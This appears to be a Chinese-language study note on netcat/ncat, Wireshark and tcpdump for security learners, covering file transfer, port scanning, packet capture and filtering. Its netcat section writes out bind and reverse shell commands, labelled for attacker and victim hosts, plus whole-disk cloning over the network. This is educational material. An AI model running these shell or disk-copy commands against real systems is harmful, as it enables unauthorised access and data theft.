常用用工工具
经常使用用且功能强大大
安全从业者必不可少的帮手手
Nc / ncat
Wireshark
Tcpdump
NETCAT ——NC
网络工具中的瑞士军刀——小身身材、大大智慧
侦听模式 / 传输模式
telnet / 获取banner信息
传输文本信息
传输文件/目录
加密传输文件
远程控制/木⻢
加密所有流量
流媒体服务器
远程克隆硬盘
NC——TELNET / BANNER(作为客户端)
nc –nv 1.1.1.1 110
nc –nv 1.1.1.1 25
nc –nv 1.1.1.1 80
举例
1.连接邮件服务器端口
nc -vn 123.125.50.134 110
2.连接http
nc –nv ip 80
NC——传输文本信息
A: nc -l -p 4444(服务端开启端口)
netstat -pantu | grep 4444
B: nc –nv ip 4444(客户端连接)
NC——远程电子取证信息收集
a: nc -l -p 4444
b: ls -l | nc -nv ip 4444
a: nc -l -p 4444 > ps.txt
b: ps aux | nc -nv ip 4444 -q 1(q执行完成之后延迟1s自动退出)
NC——传输文件/目录
1.传输文文件(注意文件的帧听端口与文件的传输方向)
A:nc -lp 333 > 1.mp4 (接受端口)
B:nc -nv ip 333 < 1.mp4 –q 1 (输入端口)
或
A:nc -q 1 -lp 333 < a.mp4 (发送端口)
B: nc -nv 1.1.1.1 333 > 2.mp4 (输入端口)
2.传输目录
A:tar -cvf - music/ | nc -lp 333 –q 1 (压缩发送)
B:nc -nv ip 333 | tar -xvf – (接受解压)
3.加密传文文件
前提安装mcrypt
A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 (接受端口)
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1 (输入端口)
输入两次密码
NC——流媒体服务
前提安装mplayer
A: cat 1.mp4 | nc -lp 333 (服务器端)
B: nc -nv ip 333 | mplayer -vo x11 -cache 3000 - (客户端)
NC——端口口扫描
1.nc使用tcp进行探测
nc -nvz ip 1-65535
2.nc使用udp进行探测
nc –vnzu 1.1.1.1 1-1024
NC——远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda (接受端口)
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1 (输入端口)
远程电子取证,可以将目标服务器硬盘远程复制,或者内存。
NC——远程控制
1.正向:
使用情景-b帮助a远程解决问题
A:nc -lp 333 -c bash (服务器端进行帧听,等待连接,服务端把bash传递给客户端)
B:nc -nv ip 333 (客户端进行连接,命令在这里ls,pwd)
2.反向:
使用情景-服务器只开启了80端口,外部只能访问80,思路通过外网分享端口,让内网链接
A:nc -lp 333 (攻击端.服务器端进行帧听端口,等待连接,命令在这里ls,pwd)
B:nc -nv ip 333 -c bash (被攻击端,客户端进行连接,客户端把bash传递给服务端)
注:Windows用户把bash改成cmd;
NC——NCAT
1.Nc缺乏加密和身身份验证的能力力
2.Ncat包含于nmap工具包中
A:ncat ncat -c bash --allow b的ip -vnl 333 --ssl (被控制)
B:ncat -nv a的ip 333 --ssl (控制端)
不同系统/平台的nc参数功能不尽相同
WIRESHARK
抓包嗅探协议分析
安全专家必备的技能
抓包引擎
Libpcap9—— Linux
Winpcap10—— Windows
解码能力力
WIRESHARK——基本使用用方方法
启动
选择抓包网卡
混杂模式
实时抓包
保存和分析捕获文文件
首选项
WIRESHARK——筛选器
过滤掉干扰的数据包
抓包筛选器
显示示筛选器
WIRESHARK——常⻅见协议包
数据包的分层结构
Arp
Icmp
Tcp——三次握手手
Udp
Dns
http
ftp
1.arp
第一层:统计包的相关信息,多少帧,大小,传输的时间
第二层:数据包的内容字段(以太网),首先是目标地址,源地址,二层以上是什么协议(三层的),占位字段
第三层:硬件地址类型(1 表示以太网地址),协议类型(ip解析成arp地址),硬件地址长度, ip地址4字节32位 ,操作代码,arp包头内容包含发送端的mac和ip(目标端的mac和ip协议类型长度,请求,发送端的mac,发送端的ip,目标的mac,目标的ip)
2.Icmp
第一层:统计信息,多少帧,大小,传输的时间
第二层:二层以上是什么协议(三层的)
第三层:ip包头,版本,头长度,生存时间,三层以上是什么协议(四层的),源地址.目的地址,
ttl win 128
linux 64
unix 255
tcp-6
udp-17
icmp-1
igmp-2
所以四层并不是只有tcp,udp
第四层:种类很多
3.tcp三次握手
发送端syn->接受端syn,ack->发送端ack->push
4.dns
第五层:记录,响应包
5.http
第五层:get包 响应包
6.ftp
例:ssdp
第一层汇总信息
第二层二层包头 目标地址,源地址 上一层协议是ip协议
第三层。ip版本号 头长度 dsf total长度(ip头到数据字段) identification:0*7b52(31570)=大文件传输时会分割成小块,这是标记号段接收端
根据号顺序重组 ragment offset:0 =偏移量 time to live:1 =生存时间 protocol:UDP (17)=上层四层协议(共1-255种协议)
header chechsum:0*8cf3[correct]=ip头的校验值,数据包被修改后校验值为错误的
第四层 user Datagram protocol,src port:56253(56253),Dst port:ssdp(1900) =源端口目标端口
tcp包三次会话以syn标号1为开始连接。目标返回ack值并发syn值。 我再次发送ack值确认。然后开始发送信息,每发送包都要确认
dns三层都走ip四层是基于udp协议
http三层ip四层tcp repuest method:get=请求方法get request url:http://dict.cn/ws.php=请求地址 request version:http:/1.1=请求版本1.1
user-agent:mozilla/4.0(compatible:msie 5.00;windows 98)\r\n=客户端信息
注意
wireshark通过端口区分协议 http如果以非80端口传输则认不出,不能解析。数据包右键-Decode As-Transport-选择http并应用就可以了
WIRESHARK——TCP
数据流
http
Smtp
Pop3
Ssl
http smtp pop3 大部分以明文传送容易被查看 ssl四层同样基于tcp应用变成了ssl
WIRESHARK——信息统计
节点数
协议分布
包大大小小分布
会话连接
解码方方式
专家系统
抓包对比比nc、ncat加密与不加密的流量
summary数据包的摘要信息
endpoints查看数据包列表里一共有多少ip地址通信 ethernet 2 二层包头 可以排序可看哪个ip大量发送接收包大量小包可以造成网络性能弱化
protocol hierarchy查看什么类型的协议包占比
packet lengths 按包的长度查看流量
conversations 查看通讯 的机器之间流量
解码类型-按端口区分协议
Analyze菜单下expert info专家信息可以给出当前网络出现的信息
WIRESHARK——实践
抓包对比比nc、ncat加密与不加密的流量
强制更新为仅主机
dhclient eth0
a:nc -lp 333 -c bash
b:nc -nv ip 333 输入ls pwd
b:启动wireshark-追踪tcp流-查看明文
a:ncat -nvl 333 -c bash --ssl
b:ncat -nv ip 333 --ssl 输入ls pwd
b:重新启动-追踪tcp流-查看密文
wireshark缺点
对大流量数据分析有所欠缺,大文件包打开速度慢,效率比较低
企业抓包方案
基于sniffer与wireshark二次开发出来的,打开包的速度快,效率高,性能有所提升
cace/riverbed---基于wireshark开发
cascad pilot
TCPDUMP
在没有图形化界面的情况下,可以使用tcpdump
No-GUI的抓包分析工工具
Linux、Unix系统默认安装
TCPDUMP——抓包筛选
1.抓包
默认只抓68个字节
tcpdump -i eth0 -s 0 -w file.pcap
tcpdump -i eth0 port 22
2.读取抓包文文件
Tcpdump -r file.pcap
3.基础用法
tcpdump -h 选项介绍
-A 以ASCII格式打印出所有分组,并将链路层的头最小化。
-c 在收到指定的数量的分组后,tcpdump就会停止。
-C 在将一个原始分组写入文件之前,检查文件当前的大小是否超过了参数file_size 中指定的大小。如果超过了指定大小,则关闭当前文件,然后在打开一个新的文件。参数 file_size 的单位是兆字节(是1,000,000字节,而不是1,048,576字节)。
-d 将匹配信息包的代码以人们能够理解的汇编格式给出。
-dd 将匹配信息包的代码以c语言程序段的格式给出。
-ddd 将匹配信息包的代码以十进制的形式给出。
-D 打印出系统中所有可以用tcpdump截包的网络接口。
-e 在输出行打印出数据链路层的头部信息。
-E 用spi@ipaddr algo:secret解密那些以addr作为地址,并且包含了安全参数索引值spi的IPsec ESP分组。
-f 将外部的Internet地址以数字的形式打印出来。
-F 从指定的文件中读取表达式,忽略命令行中给出的表达式。
-i 指定监听的网络接口。
-l 使标准输出变为缓冲行形式,可以把数据导出到文件。
-L 列出网络接口的已知数据链路。
-m 从文件module中导入SMI MIB模块定义。该参数可以被使用多次,以导入多个MIB模块。
-M 如果tcp报文中存在TCP-MD5选项,则需要用secret作为共享的验证码用于验证TCP-MD5选选项摘要(详情可参考RFC 2385)。
-b 在数据-链路层上选择协议,包括ip、arp、rarp、ipx都是这一层的。
-n 不把网络地址转换成名字。
-nn 不进行端口名称的转换。
-N 不输出主机名中的域名部分。例如,‘nic.ddn.mil‘只输出’nic‘。
-t 在输出的每一行不打印时间戳。
-O 不运行分组分组匹配(packet-matching)代码优化程序。
-P 不将网络接口设置成混杂模式。
-q 快速输出。只输出较少的协议信息。
-r 从指定的文件中读取包(这些包一般通过-w选项产生)。
-S 将tcp的序列号以绝对值形式输出,而不是相对值。
-s 从每个分组中读取最开始的snaplen个字节,而不是默认的68个字节。
-T 将监听到的包直接解释为指定的类型的报文,常见的类型有rpc远程过程调用)和snmp(简单网络管理协议;)。
-t 不在每一行中输出时间戳。
-tt 在每一行中输出非格式化的时间戳。
-ttt 输出本行和前面一行之间的时间差。
-tttt 在每一行中输出由date处理的默认格式的时间戳。
-u 输出未解码的NFS句柄。
-v 输出一个稍微详细的信息,例如在ip包中可以包括ttl和服务类型的信息。
-vv 输出详细的报文信息。
-w 直接将分组写入文件中,而不是不分析并打印出来。
(1)tcpdump -i wlan0 -s 0 -w a.cap 抓取数据
-i 指定网卡
-s 抓取大小
-w 保存位置
ping ip
(2)tcpdump -r a.cap 读取数据
(3)tcpdump -A -r a.cap 查看详细内容,以assic码形式显示出来
(4)tcpdump -X -r a.cap 查看详细内容,以16进制形式显示出来
(5)tcpdump -i eth0 port 22
TCPDUMP——显示筛选
tcpdump -n -r http.cap | awk '{print $3}'| sort -u
tcpdump -n src host 145.254.160.237 -r http.cap(源ip)
tcpdump -n dst host 145.254.160.237 -r http.cap(目的)
tcpdump -n port 53 -r http.cap(端口)
tcpdump -n tcp port 53 -r http.cap(端口)
tcpdump -n udp port 53 -r http.cap(端口)
tcpdump -nX port 80 -r http.cap(左16进制,右边accis)
TCPDUMP——高级筛选
Source Port 源端口
Destination Port 目标端口
Sequence Number 序号
Acknowledgment Nuber 应答号
Date Offset 数据偏移量
Res 标签位(cwr- ece- urg- ack- psh- rst- svn- fin-结束包)
例子:
tcpdump -A -n 'tcp[13] = 24' -r http.cap
过程文档记录
1.Dradis-基于网页(未成功)
短期临时小团队资源共享
各种插件导入文件
2.keepnote
精简的笔记本软件,特点如下:
富文本格式:彩色字体、内置图片、超链接,能保存网页图片文字等完整内容。
树形分层组织内容,分门别类,一目了然。
全文搜索
综合截图
文件附件
集成的备份和恢复
拼写检查(通过gtkspell)
自动保存
内置的备份和恢复(zip文件存档)
3.Truecrypt-加密工具(未成功)
一款免费开源的加密软件,同时支持Windows Vista,7/XP, Mac OS X, Linux 等操作系统。TrueCrypt不需要生成任何文件即可在硬盘上建立虚拟磁盘,用户可以按照盘符进行访问,所有虚拟磁盘上的文件都被自动加密,需要通过密码来进行访问。TrueCrypt 提供多种加密算法,包括:AES-256, Blowfish (448-bit key), CAST5, Serpent, Triple DES, and Twofish,其他特性还有支持FAT32和NTFS分区、隐藏卷标、热键启动等。
来源:https://www.cnblogs.com/-lyr/p/10583387.html